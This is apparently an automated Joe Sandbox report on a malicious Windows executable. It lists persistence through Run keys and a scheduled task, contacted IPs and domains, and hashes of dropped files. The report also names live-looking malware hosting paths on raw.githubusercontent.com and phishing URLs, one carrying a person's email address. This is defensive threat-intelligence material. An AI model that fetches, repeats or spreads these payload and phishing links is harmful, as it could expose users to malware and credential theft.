188.116.21.204	rootunvbot.com	Poland	43333	NEPHAX-ASPL	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572166
Start date and time:	2024-12-10 07:34:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	103
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	dYUteuvmHn.exe renamed because original name is a hash value
Original Sample Name:	f5bd4bbc494017262a22785e5b53f316.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@155/76@4/5
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 84% Number of executed functions: 113 Number of non-executed functions: 200
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7112 because it is empty
Execution Graph export aborted for target printui.exe, PID 6308 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: dYUteuvmHn.exe

Simulations

Behavior and APIs

Time	Type	Description
01:36:17	API Interceptor	1x Sleep call for process: printui.exe modified
01:36:19	API Interceptor	231x Sleep call for process: powershell.exe modified
01:36:37	API Interceptor	1x Sleep call for process: svchost.exe modified
01:36:38	API Interceptor	2x Sleep call for process: console_zero.exe modified
07:34:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run curlapp64 C:\Users\user\Desktop\curlapp64.exe
07:35:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run curlapp64 C:\Users\user\Desktop\curlapp64.exe
07:36:40	Task Scheduler	Run new task: console_zero path: C:\Windows\System32\console_zero.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.199.109.133	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gabe.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
34.117.59.81	Code%20Send%20meta%20Discord%20EXE.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	ipinfo.io/json
	idl57nk7gk.exe	Get hash	malicious	Neshta	Browse	ipinfo.io/json
	FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	172.104.150.66.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	VertusinstruccionesFedEX_66521.zip	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	UjbjOP.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	I9xuKI2p2B.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	licarisan_api.exe	Get hash	malicious	Icarus	Browse	ipinfo.io/ip
	build.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	https://drive.google.com/file/d/1yoYdaJg2olHzjqEKXjn6nnXKPPak7HoL/view?usp=sharing_eil&ts=675747b9	Get hash	malicious	Unknown	Browse	34.117.59.81
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://copilotse.blob.core.windows.net/$web/hgyxxxtrdfr76tfgfs821yhgh.html?sp=r&st=2024-12-08T12:55:44Z&se=2024-12-31T20:55:44Z&spr=https&sv=2022-11-02&sr=b&sig=7dYMitXSX9zEmg0mEsN7rfqS0sBAZEqtrbG4v8YyfsM%3D#robert.webber@phillyshipyard.com	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	Code%20Send%20meta%20Discord%20EXE.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	fqr8nP1HfL.html	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://bb.vg/STDBANK	Get hash	malicious	Unknown	Browse	34.117.59.81
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
raw.githubusercontent.com	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	185.199.109.133
	run.cmd	Get hash	malicious	Unknown	Browse	185.199.109.133
	PYsje7DgYO.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.199.109.133
	EcjH6Dq36Y.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.199.108.133
	MsmxWY8nj7.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.199.110.133
	ea4LTmpMwl.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	185.199.110.133
	file.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	185.199.108.133
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	185.199.108.133
	resume.docx.lnk	Get hash	malicious	Unknown	Browse	185.199.110.133
github.com	Dfim58cp4J.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	20.233.83.145
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	20.233.83.145
	run.cmd	Get hash	malicious	Unknown	Browse	20.233.83.145
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse	20.233.83.145
	PYsje7DgYO.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.233.83.145
	EcjH6Dq36Y.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.233.83.145
	MsmxWY8nj7.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.233.83.145
	Y5kEUsYDFr.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	QlyOUFGIFB.exe	Get hash	malicious	MicroClip	Browse	20.233.83.146
	Cooperative Agreement0000800380.docx.exe	Get hash	malicious	Babadeda, Blank Grabber	Browse	20.233.83.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	Dfim58cp4J.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	185.199.110.133
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	185.199.109.133
	Orden_de_Compra_Nmero_6782929219.xls	Get hash	malicious	HTMLPhisher	Browse	151.101.1.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	rebirth.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	34.118.114.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
MICROSOFT-CORP-MSN-AS-BLOCKUS	Dfim58cp4J.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	20.233.83.145
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	20.233.83.145
	rebirth.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	20.62.247.7
	rebirth.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	13.95.148.131
	rebirth.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	52.136.145.101
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	22.233.96.48
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	22.33.214.221
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	13.81.52.250
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	13.79.240.226
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	52.254.132.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	SecuriteInfo.com.Win64.Evo-gen.6610.27408.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
	SecuriteInfo.com.Win64.Evo-gen.9614.31304.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
	app64.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
	SecuriteInfo.com.FileRepMalware.12585.5759.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
	sadfwqefrqw3f.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
	SecuriteInfo.com.Win64.Evo-gen.20107.17462.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
	SecuriteInfo.com.FileRepMalware.12025.7543.exe	Get hash	malicious	Unknown	Browse	20.233.83.145 34.117.59.81
74954a0c86284d0d6e1c4efefe92b521	new.ini.ps1	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	ALFq7XP17d.lnk	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	pn866G3CCj.lnk	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	vZAhXkWkDT.lnk	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	QsEn4Jw9pY.lnk	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	ylNk78QlB8.lnk	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	Real Estate Project Information - Catalogue - Price List 0412PH (Area - Design - Finance).bat	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	document.lnk.download.lnk	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	ZOL2mIYAUH.exe	Get hash	malicious	Phemedrone Stealer, PureLog Stealer, XWorm, zgRAT	Browse	185.199.109.133 20.233.83.145

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\libcurl.dll	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\Desktop\libcurl.dll	app64.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\Desktop\zlib1.dll	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\Desktop\zlib1.dll	app64.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0o1l3wic.kss.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_122x0tii.0x4.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_23ppnleq.atf.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2mbxhxxc.bke.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3c3wxmcr.tk0.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3p2uhbwt.mgm.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45syprzo.tde.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lfjwzxz.n5s.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5xoeutez.o0f.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ax2sheua.ecl.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_axihyhjw.53a.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b5323c2g.z2c.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bui3ribf.fqj.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dolqrguq.5bo.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

